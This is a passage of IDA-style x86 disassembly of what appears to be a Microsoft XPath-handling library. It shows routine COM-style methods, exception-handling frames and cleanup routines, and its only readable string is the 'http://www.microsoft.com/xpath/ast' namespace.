		lea	ecx, [ebp-28h]
		call	sub_69B11D3B
		lea	ecx, [ebp-2Ch]
		call	sub_69B47D22
		mov	[ebp-4], edi
		mov	ecx, [ebp+8]
		call	sub_69B6A0CC
		mov	esi, eax
		mov	ebx, [esi]
		push	dword ptr [ebp+0Ch]
		call	sub_69B48A77
		push	eax
		push	edi
		push	edi
		mov	ecx, esi
		call	dword ptr [ebx+4Ch]
		neg	eax
		sbb	eax, eax
		mov	ecx, [ebp+10h]
		mov	[ecx], ax
		mov	[ebp-30h], edi
		jmp	short loc_69B6A3CD
; ---------------------------------------------------------------------------


loc_69B6A3AD:				; DATA XREF: .text:69B6A3FCo
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B6A3B6:				; DATA XREF: .text:69B6A400o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	edi, eax


loc_69B6A3CD:				; CODE XREF: sub_69B6A34C+5Fj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-2Ch]
		call	sub_69B47D46
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, edi


loc_69B6A3EC:				; CODE XREF: sub_69B6A34C+20j
		call	sub_69B1853C
		retn	0Ch
sub_69B6A34C	endp

; ---------------------------------------------------------------------------
		align 8
dword_69B6A3F8	dd 0FFFFFFFFh			dd offset loc_69B6A3AD
		dd offset loc_69B6A3B6

; =============== S U B	R O U T	I N E =======================================



sub_69B6A404	proc near		; DATA XREF: .text:69B15B38o
		push	1Ch
		push	offset dword_69B6A498
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	esi, esi
		cmp	eax, esi
		jnz	short loc_69B6A426
		mov	eax, 80004005h
		jmp	short loc_69B6A48C
; ---------------------------------------------------------------------------


loc_69B6A426:				; CODE XREF: sub_69B6A404+19j
		push	esi
		lea	ecx, [ebp-28h]
		call	sub_69B11D3B
		mov	[ebp-4], esi
		mov	ecx, [ebp+8]
		call	sub_69B6A0CC
		mov	edx, [eax]
		push	1
		mov	ecx, eax
		call	dword ptr [edx+7Ch]
		push	eax
		call	sub_69B6A147
		mov	ecx, [ebp+0Ch]
		mov	[ecx], eax
		mov	[ebp-2Ch], esi
		jmp	short loc_69B6A474
; ---------------------------------------------------------------------------


loc_69B6A453:				; DATA XREF: .text:69B6A49Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B6A45C:				; DATA XREF: .text:69B6A4A0o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-2Ch], eax


loc_69B6A474:				; CODE XREF: sub_69B6A404+4Dj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-2Ch]


loc_69B6A48C:				; CODE XREF: sub_69B6A404+20j
		call	sub_69B1853C
		retn	8
sub_69B6A404	endp

; ---------------------------------------------------------------------------
		align 8
dword_69B6A498	dd 0FFFFFFFFh			dd offset loc_69B6A453
		dd offset loc_69B6A45C

; =============== S U B	R O U T	I N E =======================================



sub_69B6A4A4	proc near		; DATA XREF: .text:69B15B3Co
		push	1Ch
		push	offset dword_69B6A530
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		test	eax, eax
		jnz	short loc_69B6A4C4
		mov	eax, 80004005h
		jmp	short loc_69B6A528
; ---------------------------------------------------------------------------


loc_69B6A4C4:				; CODE XREF: sub_69B6A4A4+17j
		push	0
		lea	ecx, [ebp-28h]
		call	sub_69B11D3B
		and	dword ptr [ebp-4], 0
		mov	ecx, [ebp+8]
		call	sub_69B6A0CC
		push	dword ptr [ebp+0Ch]
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+64h]
		push	eax
		mov	ecx, [ebp+8]
		call	sub_69B69FB9
		jmp	short loc_69B6A50D
; ---------------------------------------------------------------------------


loc_69B6A4EF:				; DATA XREF: .text:69B6A534o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B6A4F8:				; DATA XREF: .text:69B6A538o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804


loc_69B6A50D:				; CODE XREF: sub_69B6A4A4+49j
		mov	[ebp-2Ch], eax
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-2Ch]


loc_69B6A528:				; CODE XREF: sub_69B6A4A4+1Ej
		call	sub_69B1853C
		retn	8
sub_69B6A4A4	endp

; ---------------------------------------------------------------------------
dword_69B6A530	dd 0FFFFFFFFh			dd offset loc_69B6A4EF
		dd offset loc_69B6A4F8

; =============== S U B	R O U T	I N E =======================================



sub_69B6A53C	proc near		; DATA XREF: .text:69B15B40o
		push	20h
		push	offset dword_69B6A5D8
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		test	eax, eax
		jnz	short loc_69B6A55C
		mov	eax, 80004005h
		jmp	short loc_69B6A5CC
; ---------------------------------------------------------------------------


loc_69B6A55C:				; CODE XREF: sub_69B6A53C+17j
		push	0
		lea	ecx, [ebp-28h]
		call	sub_69B11D3B
		and	dword ptr [ebp-4], 0
		mov	esi, [ebp+8]
		mov	eax, [esi+14h]
		mov	[ebp-2Ch], eax
		test	eax, eax
		jnz	short loc_69B6A57E
		mov	ecx, esi
		call	sub_69B6A0D7


loc_69B6A57E:				; CODE XREF: sub_69B6A53C+39j
		mov	ecx, [esi+14h]
		push	dword ptr [ebp+0Ch]
		mov	eax, [ecx]
		call	dword ptr [eax+68h]
		push	eax
		mov	ecx, esi
		call	sub_69B69FB9
		jmp	short loc_69B6A5B1
; ---------------------------------------------------------------------------


loc_69B6A593:				; DATA XREF: .text:69B6A5DCo
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B6A59C:				; DATA XREF: .text:69B6A5E0o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804


loc_69B6A5B1:				; CODE XREF: sub_69B6A53C+55j
		mov	[ebp-30h], eax
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-30h]


loc_69B6A5CC:				; CODE XREF: sub_69B6A53C+1Ej
		call	sub_69B1853C
		retn	8
sub_69B6A53C	endp

; ---------------------------------------------------------------------------
		align 8
dword_69B6A5D8	dd 0FFFFFFFFh			dd offset loc_69B6A593
		dd offset loc_69B6A59C

; =============== S U B	R O U T	I N E =======================================



sub_69B6A5E4	proc near		; DATA XREF: .text:69B15B44o
		push	24h
		push	offset dword_69B6A680
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_69B6A606
		mov	eax, 80004005h
		jmp	short loc_69B6A675
; ---------------------------------------------------------------------------


loc_69B6A606:				; CODE XREF: sub_69B6A5E4+19j
		push	edi
		lea	ecx, [ebp-28h]
		call	sub_69B11D3B
		mov	[ebp-4], edi
		mov	ecx, [ebp+8]
		lea	esi, [ecx+14h]
		mov	eax, [esi]
		mov	[ebp-2Ch], eax
		cmp	eax, edi
		jnz	short loc_69B6A626
		call	sub_69B6A0D7


loc_69B6A626:				; CODE XREF: sub_69B6A5E4+3Bj
		mov	ecx, [esi]
		mov	eax, [ecx]
		call	dword ptr [eax+6Ch]
		mov	[ebp-30h], esi
		push	edi
		push	esi
		call	sub_69B17320
		mov	[ebp-34h], edi
		jmp	short loc_69B6A65D
; ---------------------------------------------------------------------------


loc_69B6A63C:				; DATA XREF: .text:69B6A684o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B6A645:				; DATA XREF: .text:69B6A688o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-34h], eax


loc_69B6A65D:				; CODE XREF: sub_69B6A5E4+56j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-34h]


loc_69B6A675:				; CODE XREF: sub_69B6A5E4+20j
		call	sub_69B1853C
		retn	4
sub_69B6A5E4	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B6A680	dd 0FFFFFFFFh			dd offset loc_69B6A63C
		dd offset loc_69B6A645

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B6A68C	proc near		; CODE XREF: sub_69B61F42+14Ep

var_C		= byte ptr -0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		cmp	dword_69B9B2F8,	0
		jnz	locret_69B6A72A
		push	esi
		push	1
		lea	ecx, [ebp+var_C]
		call	sub_69B11D3B
		push	offset off_69B6A730
		call	sub_69B19611
		push	eax		; Value
		mov	ecx, offset dword_69B9B2F8 ; Target
		call	sub_69B188DC
		push	offset off_69B6A740
		call	sub_69B19611
		push	eax		; Value
		mov	ecx, offset dword_69B9B2F0 ; Target
		call	sub_69B188DC
		cmp	off_69B9A1D8, 0
		mov	esi, offset off_69B9A1D8
		jz	short loc_69B6A721


loc_69B6A6E2:				; CODE XREF: sub_69B6A68C+93j
		push	dword ptr [esi]
		call	sub_69B19611
		test	byte ptr [esi+8], 1
		jz	short loc_69B6A6FD
		mov	ecx, dword_69B9B2F8
		mov	edx, dword_69B9B2F0
		jmp	short loc_69B6A701
; ---------------------------------------------------------------------------


loc_69B6A6FD:				; CODE XREF: sub_69B6A68C+61j
		xor	ecx, ecx
		xor	edx, edx


loc_69B6A701:				; CODE XREF: sub_69B6A68C+6Fj
		push	edx
		push	ecx
		push	ecx
		push	eax
		call	sub_69B192E9
		push	eax
		call	sub_69B4D460
		mov	ecx, [esi+4]	; Target
		push	eax		; Value
		call	sub_69B188DC
		add	esi, 0Ch
		cmp	dword ptr [esi], 0
		jnz	short loc_69B6A6E2


loc_69B6A721:				; CODE XREF: sub_69B6A68C+54j
		lea	ecx, [ebp+var_C]
		call	sub_69B1976C
		pop	esi

locret_69B6A72A:			; CODE XREF: sub_69B6A68C+Dj
		leave
		retn
sub_69B6A68C	endp

; ---------------------------------------------------------------------------
		align 10h
off_69B6A730	dd offset off_69B17D10	; DATA XREF: sub_69B6A68C+1Eo
		align 8
		dd 22h
		dd offset aHttpWww_micr_0 ; "http://www.microsoft.com/xpath/ast"
off_69B6A740	dd offset off_69B17D10	; DATA XREF: sub_69B6A68C+33o
		align 8
		dd 2
		dd offset aXp		; "xp"
aHttpWww_micr_0:			; DATA XREF: .text:69B6A73Co
		unicode	0, <http://www.microsoft.com/xpath/ast>,0
		align 4
aXp:					; DATA XREF: .text:69B6A74Co
		unicode	0, <xp>,0
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_69B6A7A0	proc near		; CODE XREF: sub_69B6A7CC+3j
					; DATA XREF: .text:69B15C0Co
		mov	eax, offset off_69B6A7A8
		retn
sub_69B6A7A0	endp

; ---------------------------------------------------------------------------
		align 4
off_69B6A7A8	dd offset off_69B29C74	; DATA XREF: sub_69B6A7A0o
		dd offset sub_69B6C893

; =============== S U B	R O U T	I N E =======================================



sub_69B6A7B0	proc near		; DATA XREF: .text:69B15BDCo
		push	dword ptr [ecx+8]
		add	ecx, 0FFFFFFF8h
		call	sub_69B6C8AB
		retn
sub_69B6A7B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6A7BC	proc near		; DATA XREF: .text:69B13944o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		mov	ecx, [esp+4+arg_0]
		call	sub_69B64999
		retn	8
sub_69B6A7BC	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6A7CC	proc near		; DATA XREF: .text:69B15BACo
		sub	ecx, 8
		jmp	short sub_69B6A7A0
sub_69B6A7CC	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6A7D1	proc near		; CODE XREF: sub_69B6A9B0+3j
					; DATA XREF: .text:69B15C24o
		push	esi
		mov	esi, ecx
		push	0
		lea	eax, [esi+10h]
		push	eax
		call	sub_69B17320
		push	0
		lea	eax, [esi+14h]
		push	eax
		call	sub_69B17320
		mov	ecx, esi
		pop	esi
		jmp	nullsub_5
sub_69B6A7D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=68h


sub_69B6A7F2	proc near		; CODE XREF: sub_69B6A8E7+3j
					; sub_69B6A8EF+21p ...

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		lea	ebp, [esp-68h]
		sub	esp, 88h
		mov	edx, ecx
		push	8
		mov	[ebp+68h+var_8], edx
		lea	eax, [ebp+68h+var_88]
		pop	ecx


loc_69B6A808:				; CODE XREF: sub_69B6A7F2+21j
		and	dword ptr [eax], 0
		mov	byte ptr [eax+4], 0
		add	eax, 10h
		dec	ecx
		jnz	short loc_69B6A808
		push	esi
		xor	esi, esi
		cmp	[ebp+68h+arg_0], esi
		jnz	short loc_69B6A834
		push	offset loc_69B468E6
		push	8
		push	10h
		lea	eax, [ebp+68h+var_88]
		push	eax
		call	sub_69B51181
		jmp	loc_69B6A8DF
; ---------------------------------------------------------------------------


loc_69B6A834:				; CODE XREF: sub_69B6A7F2+29j
		mov	eax, [edx+10h]
		cmp	eax, esi
		push	ebx
		push	edi
		jz	short loc_69B6A845
		mov	esi, [eax+0Ch]
		cmp	esi, 8
		jg	short loc_69B6A84D


loc_69B6A845:				; CODE XREF: sub_69B6A7F2+49j
		lea	eax, [ebp+68h+var_88]
		mov	[ebp+68h+var_4], eax
		jmp	short loc_69B6A888
; ---------------------------------------------------------------------------


loc_69B6A84D:				; CODE XREF: sub_69B6A7F2+51j
		push	esi
		push	10h
		call	sub_69B11CFE
		mov	edi, eax
		test	edi, edi
		pop	ecx
		pop	ecx
		jz	short loc_69B6A86C
		mov	ecx, edi
		call	sub_69B19118
		mov	dword ptr [edi], offset	off_69B13908
		jmp	short loc_69B6A86E
; ---------------------------------------------------------------------------


loc_69B6A86C:				; CODE XREF: sub_69B6A7F2+69j
		xor	edi, edi


loc_69B6A86E:				; CODE XREF: sub_69B6A7F2+78j
		add	edi, 0Ch
		test	esi, esi
		mov	[ebp+68h+var_4], edi
		jz	short loc_69B6A888
		mov	eax, edi
		add	eax, 4
		mov	ecx, esi


loc_69B6A87F:				; CODE XREF: sub_69B6A7F2+94j
		mov	byte ptr [eax],	1
		add	eax, 10h
		dec	ecx
		jnz	short loc_69B6A87F


loc_69B6A888:				; CODE XREF: sub_69B6A7F2+59j
					; sub_69B6A7F2+84j
		mov	ebx, [ebp+68h+var_4]
		xor	edi, edi
		test	esi, esi
		jle	short loc_69B6A8B6


loc_69B6A891:				; CODE XREF: sub_69B6A7F2+C2j
		mov	eax, [ebp+68h+var_8]
		mov	ecx, [eax+10h]
		push	edi
		call	sub_69B8A163
		mov	edx, [eax]
		push	ebx
		push	[ebp+68h+arg_8]
		mov	ecx, eax
		push	[ebp+68h+arg_4]
		push	[ebp+68h+arg_0]
		call	dword ptr [edx+54h]
		inc	edi
		add	ebx, 10h
		cmp	edi, esi
		jl	short loc_69B6A891


loc_69B6A8B6:				; CODE XREF: sub_69B6A7F2+9Dj
		push	[ebp+68h+arg_C]
		mov	edx, [ebp+68h+var_8]
		mov	ecx, [ebp+68h+arg_0]
		mov	eax, [ecx]
		push	esi
		push	[ebp+68h+var_4]
		push	dword ptr [edx+14h]
		call	dword ptr [eax+0Ch]
		push	offset loc_69B468E6
		push	8
		push	10h
		lea	eax, [ebp+68h+var_88]
		push	eax
		call	sub_69B51181
		pop	edi
		pop	ebx


loc_69B6A8DF:				; CODE XREF: sub_69B6A7F2+3Dj
		pop	esi
		add	ebp, 68h
		leave
		retn	10h
sub_69B6A7F2	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6A8E7	proc near		; DATA XREF: .text:69B15BE4o
		add	ecx, 0FFFFFFF8h
		jmp	sub_69B6A7F2
sub_69B6A8E7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B6A8EF	proc near		; DATA XREF: .text:69B15BE0o

var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		and	[ebp+var_10], 0
		push	esi
		lea	eax, [ebp+var_10]
		push	eax
		push	[ebp+arg_8]
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [esi-8]
		push	[ebp+arg_0]
		mov	[ebp+var_C], 0
		call	sub_69B6A7F2
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_10]
		push	eax
		push	1
		lea	ecx, [ebp+var_10]
		call	sub_69B64008
		cmp	[ebp+var_10], 1
		jz	short loc_69B6A931
		or	esi, 0FFFFFFFFh
		jmp	short loc_69B6A935
; ---------------------------------------------------------------------------


loc_69B6A931:				; CODE XREF: sub_69B6A8EF+3Bj
		movzx	esi, [ebp+var_8]


loc_69B6A935:				; CODE XREF: sub_69B6A8EF+40j
		lea	ecx, [ebp+var_10]
		call	sub_69B466CC
		mov	eax, esi
		pop	esi
		leave
		retn	0Ch
sub_69B6A8EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B6A944	proc near		; DATA XREF: .text:69B15BE8o

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		xor	eax, eax
		push	esi
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], al
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], al
		lea	eax, [ebp+var_20]
		push	eax
		push	[ebp+arg_C]
		mov	esi, ecx
		push	[ebp+arg_8]
		lea	ecx, [esi-8]
		push	[ebp+arg_0]
		call	sub_69B6A7F2
		mov	ecx, [ebp+arg_10]
		mov	eax, [ecx]
		lea	edx, [ebp+var_10]
		push	edx
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		call	dword ptr [eax+54h]
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_10]
		push	eax
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_20]
		call	sub_69B65333
		lea	ecx, [ebp+var_10]
		mov	esi, eax
		call	sub_69B466CC
		lea	ecx, [ebp+var_20]
		call	sub_69B466CC
		mov	eax, esi
		pop	esi
		leave
		retn	14h
sub_69B6A944	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6A9B0	proc near		; DATA XREF: .text:69B15BC4o
		sub	ecx, 8
		jmp	sub_69B6A7D1
sub_69B6A9B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6A9B8	proc near		; CODE XREF: sub_69B6223C+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 69B15B4C SIZE 0000003D BYTES

		push	18h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B6A9CA
		mov	ecx, eax
		jmp	loc_69B15B4C
; ---------------------------------------------------------------------------


loc_69B6A9CA:				; CODE XREF: sub_69B6A9B8+9j
		xor	eax, eax
		retn	8
sub_69B6A9B8	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6A9CF	proc near		; DATA XREF: .text:69B1393Co
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		test	eax, eax
		push	edi
		lea	edi, [esi+0Ch]
		jz	short loc_69B6A9EE
		push	ebx
		mov	ebx, eax


loc_69B6A9E0:				; CODE XREF: sub_69B6A9CF+1Cj
		mov	ecx, edi
		call	sub_69B466CC
		add	edi, 10h
		dec	ebx
		jnz	short loc_69B6A9E0
		pop	ebx


loc_69B6A9EE:				; CODE XREF: sub_69B6A9CF+Cj
		pop	edi
		mov	ecx, esi
		pop	esi
		jmp	nullsub_5
sub_69B6A9CF	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6A9F7	proc near		; CODE XREF: sub_69B6AA37+Cp
		mov	eax, [ecx]
		call	dword ptr [eax+3Ch]
		test	eax, eax
		jz	short loc_69B6AA0D
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+44h]
		neg	eax
		sbb	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_69B6AA0D:				; CODE XREF: sub_69B6A9F7+7j
		xor	eax, eax
		retn
sub_69B6A9F7	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6AA10	proc near		; CODE XREF: sub_69B6AEF6+3j
					; .text:69B6AF09j
					; DATA XREF: ...
		mov	eax, offset off_69B6AA18
		retn
sub_69B6AA10	endp

; ---------------------------------------------------------------------------
		align 4
off_69B6AA18	dd offset off_69B29C7C	; DATA XREF: sub_69B6AA10o
		dd offset sub_69B6B055

; =============== S U B	R O U T	I N E =======================================



sub_69B6AA20	proc near		; DATA XREF: .text:69B1398Co
		mov	eax, ecx
		lea	ecx, [eax-10h]
		mov	eax, [eax+20h]
		mov	edx, [ecx]
		shr	eax, 6
		and	eax, 0FFFFFF01h
		push	eax
		call	dword ptr [edx+50h]
		retn
sub_69B6AA20	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6AA37	proc near		; DATA XREF: .text:69B13A24o
		push	esi
		mov	esi, ecx
		cmp	dword ptr [esi+34h], 0
		jnz	short loc_69B6AA50
		mov	ecx, [esi+30h]
		call	sub_69B6A9F7
		test	al, al
		jz	short loc_69B6AA50
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_69B6AA50:				; CODE XREF: sub_69B6AA37+7j
					; sub_69B6AA37+13j
		lea	eax, [esi-8]
		add	esi, 8
		neg	eax
		sbb	eax, eax
		and	eax, esi
		pop	esi
		retn
sub_69B6AA37	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6AA5E	proc near		; DATA XREF: .text:69B1399Co

arg_4		= dword	ptr  8

		test	byte ptr [ecx+20h], 80h
		lea	eax, [ecx+30h]
		jnz	short loc_69B6AA6A
		lea	eax, [ecx+2Ch]


loc_69B6AA6A:				; CODE XREF: sub_69B6AA5E+7j
		mov	eax, [eax]
		push	[esp+arg_4]
		mov	edx, [eax]
		push	0
		mov	ecx, eax
		call	dword ptr [edx+54h]
		retn	8
sub_69B6AA5E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6AA7C	proc near		; DATA XREF: .text:69B139A0o

arg_4		= dword	ptr  8

		test	byte ptr [ecx+20h], 80h
		lea	eax, [ecx+30h]
		jnz	short loc_69B6AA88
		lea	eax, [ecx+2Ch]


loc_69B6AA88:				; CODE XREF: sub_69B6AA7C+7j
		mov	eax, [eax]
		push	[esp+arg_4]
		mov	edx, [eax]
		push	0
		mov	ecx, eax
		call	dword ptr [edx+58h]
		retn	8
sub_69B6AA7C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6AA9A	proc near		; DATA XREF: .text:69B139D0o
		test	byte ptr [ecx+20h], 80h
		lea	eax, [ecx+30h]
		jnz	short loc_69B6AAA6
		lea	eax, [ecx+2Ch]


loc_69B6AAA6:				; CODE XREF: sub_69B6AA9A+7j
		mov	eax, [eax]
		mov	edx, [eax]
		mov	ecx, eax
		jmp	dword ptr [edx+88h]
sub_69B6AA9A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6AAB2	proc near		; DATA XREF: .text:69B13A2Co
		push	esi
		mov	esi, ecx
		mov	ecx, [esi+30h]
		mov	eax, [ecx]
		push	edi
		xor	edi, edi
		call	dword ptr [eax+3Ch]
		test	eax, eax
		jnz	short loc_69B6AAD0
		mov	ecx, [esi+34h]
		test	ecx, ecx
		jz	short loc_69B6AAD9
		mov	eax, [ecx]
		call	dword ptr [eax+5Ch]


loc_69B6AAD0:				; CODE XREF: sub_69B6AAB2+10j
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+4Ch]
		mov	edi, eax


loc_69B6AAD9:				; CODE XREF: sub_69B6AAB2+17j
		mov	eax, edi
		and	eax, 201h
		pop	edi
		or	eax, 100h
		pop	esi
		retn
sub_69B6AAB2	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6AAE8	proc near		; DATA XREF: .text:69B139C8o

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_69B6AAFE
		lea	ecx, [esi-10h]
		mov	eax, [ecx]
		push	1
		call	dword ptr [eax+50h]
		jmp	short loc_69B6AB1C
; ---------------------------------------------------------------------------


loc_69B6AAFE:				; CODE XREF: sub_69B6AAE8+8j
		test	byte ptr [esi+20h], 40h
		jz	short loc_69B6AB1C
		test	byte ptr [esi+20h], 80h
		lea	eax, [esi+30h]
		jnz	short loc_69B6AB10
		lea	eax, [esi+2Ch]


loc_69B6AB10:				; CODE XREF: sub_69B6AAE8+23j
		mov	ecx, [eax]
		mov	eax, [ecx]
		push	0
		call	dword ptr [eax+80h]


loc_69B6AB1C:				; CODE XREF: sub_69B6AAE8+14j
					; sub_69B6AAE8+1Aj
		movzx	eax, [esp+4+arg_0]
		shl	eax, 6
		xor	eax, [esi+20h]
		and	eax, 40h
		xor	[esi+20h], eax
		pop	esi
		retn	4
sub_69B6AAE8	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6AB31	proc near		; DATA XREF: .text:69B13A78o
		mov	eax, dword_69B9B300
		retn
sub_69B6AB31	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6AB37	proc near		; CODE XREF: sub_69B6B06D-191p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		lea	eax, [esi+38h]
		push	eax
		call	sub_69B17320
		mov	eax, [esp+4+arg_4]
		mov	[esi+44h], eax
		pop	esi
		retn	8
sub_69B6AB37	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6AB52	proc near		; DATA XREF: .text:69B13A90o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esi+3Ch]
		test	ecx, ecx
		jnz	short loc_69B6AB72
		movzx	eax, [esp+4+arg_0]
		shl	eax, 6
		xor	eax, [esi+30h]
		and	eax, 40h
		xor	[esi+30h], eax
		jmp	loc_69B6AC2E
; ---------------------------------------------------------------------------


loc_69B6AB72:				; CODE XREF: sub_69B6AB52+8j
		cmp	[esp+4+arg_0], 0
		push	edi
		jz	short loc_69B6ABDE
		mov	eax, [esi+30h]
		test	al, 40h
		jz	short loc_69B6AB92
		test	al, al
		jns	short loc_69B6AB88
		mov	ecx, [esi+40h]


loc_69B6AB88:				; CODE XREF: sub_69B6AB52+31j
		mov	eax, [ecx]
		call	dword ptr [eax+44h]
		jmp	loc_69B6AC2D
; ---------------------------------------------------------------------------


loc_69B6AB92:				; CODE XREF: sub_69B6AB52+2Dj
		or	eax, 40h
		mov	[esi+30h], eax
		mov	eax, [ecx]
		call	dword ptr [eax+84h]
		test	al, al
		jnz	short loc_69B6ABB7
		mov	ecx, [esi+3Ch]
		mov	eax, [ecx]
		push	1
		call	dword ptr [eax+80h]


loc_69B6ABB1:				; CODE XREF: sub_69B6AB52+A6j
		and	byte ptr [esi+30h], 7Fh
		jmp	short loc_69B6AC2D
; ---------------------------------------------------------------------------


loc_69B6ABB7:				; CODE XREF: sub_69B6AB52+50j
		lea	edi, [esi+40h]
		mov	ecx, [edi]
		test	ecx, ecx
		jz	short loc_69B6ABDA
		mov	eax, [ecx]
		call	dword ptr [eax+84h]
		test	al, al
		jnz	short loc_69B6ABDA
		mov	ecx, [edi]
		mov	eax, [ecx]
		push	1
		call	dword ptr [eax+80h]
		jmp	short loc_69B6AC29
; ---------------------------------------------------------------------------


loc_69B6ABDA:				; CODE XREF: sub_69B6AB52+6Cj
					; sub_69B6AB52+78j
		push	1
		jmp	short loc_69B6AC1A
; ---------------------------------------------------------------------------


loc_69B6ABDE:				; CODE XREF: sub_69B6AB52+26j
		test	byte ptr [esi+30h], 40h
		jnz	short loc_69B6AC2D
		mov	eax, [ecx]
		call	dword ptr [eax+84h]
		test	al, al
		jnz	short loc_69B6ABFA
		mov	ecx, [esi+3Ch]
		mov	eax, [ecx]
		call	dword ptr [eax+44h]
		jmp	short loc_69B6ABB1
; ---------------------------------------------------------------------------


loc_69B6ABFA:				; CODE XREF: sub_69B6AB52+9Cj
		lea	edi, [esi+40h]
		mov	ecx, [edi]
		test	ecx, ecx
		jz	short loc_69B6AC18
		mov	eax, [ecx]
		call	dword ptr [eax+84h]
		test	al, al
		jnz	short loc_69B6AC18
		mov	ecx, [edi]
		mov	eax, [ecx]
		call	dword ptr [eax+44h]
